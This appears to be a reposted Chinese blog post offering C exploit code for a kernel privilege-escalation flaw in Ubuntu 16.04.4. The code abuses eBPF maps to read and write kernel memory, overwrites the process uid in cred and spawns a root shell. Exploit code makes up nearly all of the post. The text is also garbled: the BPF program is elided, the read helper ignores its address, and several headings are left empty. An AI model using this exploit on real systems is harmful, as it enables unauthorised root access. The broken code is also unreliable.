本文共 2583 字,大约阅读时间需要 8 分钟。
Ubuntu 16.04.4内核提权漏洞利用代码sqrt
近日,安全研究者发现了Ubuntu 16.04.4内核中的一个重要漏洞,通过这个漏洞攻击者可以获得系统的提权权限。这段代码最初由Vitaly Nikolenko发布,并经过亲测在阿里云环境中成功使用。
代码解析
以下是该漏洞利用代码的详细解析:
权值定义
代码结构
char __prog[] = "..."; // 内核提权程序int sockets[2];int mapfd, progfd;static uint64_t bpf_log_buf[LOG_BUF_SIZE];enum bpf_prog_type BPF_PROG_TYPE_SOCKET_FILTER = 21;enum bpf_map_type BPF_MAP_TYPE_ARRAY = 1;// 内核空间读写函数uint64_t __read(uint64_t addr) { // 通过map_update_elem读取.data return get_value(2);}// 内核空间写函数void __write(uint64_t addr, uint64_t val) { // 通过map_update_elem写入.data __update_elem(0, addr, val);}5. 漏洞利用流程```c// 初始化。mapfd用于创建内核空间映射,progfd用于加载提权程序static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, __prog, 328, "GPL", 0); // 配置socket绑定BPF程序 if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { __exit(strerror(errno)); } if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)) < 0) { __exit(strerror(errno)); }}// 提权逻辑static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __get_sp(uint64_t addr) { return addr & ~(0x4000-1);}static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(key, value)) { __exit(strerror(errno)); } return value;}static void pwn(void) { uint64_t fp, sp, task_struct, cred, uid, gid; // 获取_FP指针 fp = __get_fp(); if (fp < PHYS_OFFSET) { __exit("bogus fp"); } // 获取_SP指针 sp = __get_sp(fp); if (sp < PHYS_OFFSET) { __exit("bogus sp"); } // 获取任务结构指针 task_struct = __read(sp); if (task_struct < PHYS_OFFSET) { __exit("bogus task"); } // 获取cred pointer cred = __read(task_struct + CRED_OFFSET); if (cred < PHYS_OFFSET) { __exit("bogus cred"); } // 获取uid和gid uid = cred + UID_OFFSET; if (uid < PHYS_OFFSET) { __exit("bogus uid"); } __write(uid, 0); // detach shell if (system("/bin/bash")) { exit(EXIT_SUCCESS); } __exit("not vulnerable?");}
int main(int argc, char **argv) { prep(); pwn(); return 0;}
测试环境:
代码工作流程:
socketpair
创建两个Unix域 socket。需要注意:
如需更多详细信息,建议参考相关安全研究资料或官方文档。
转载地址:http://gsbxz.baihongyu.com/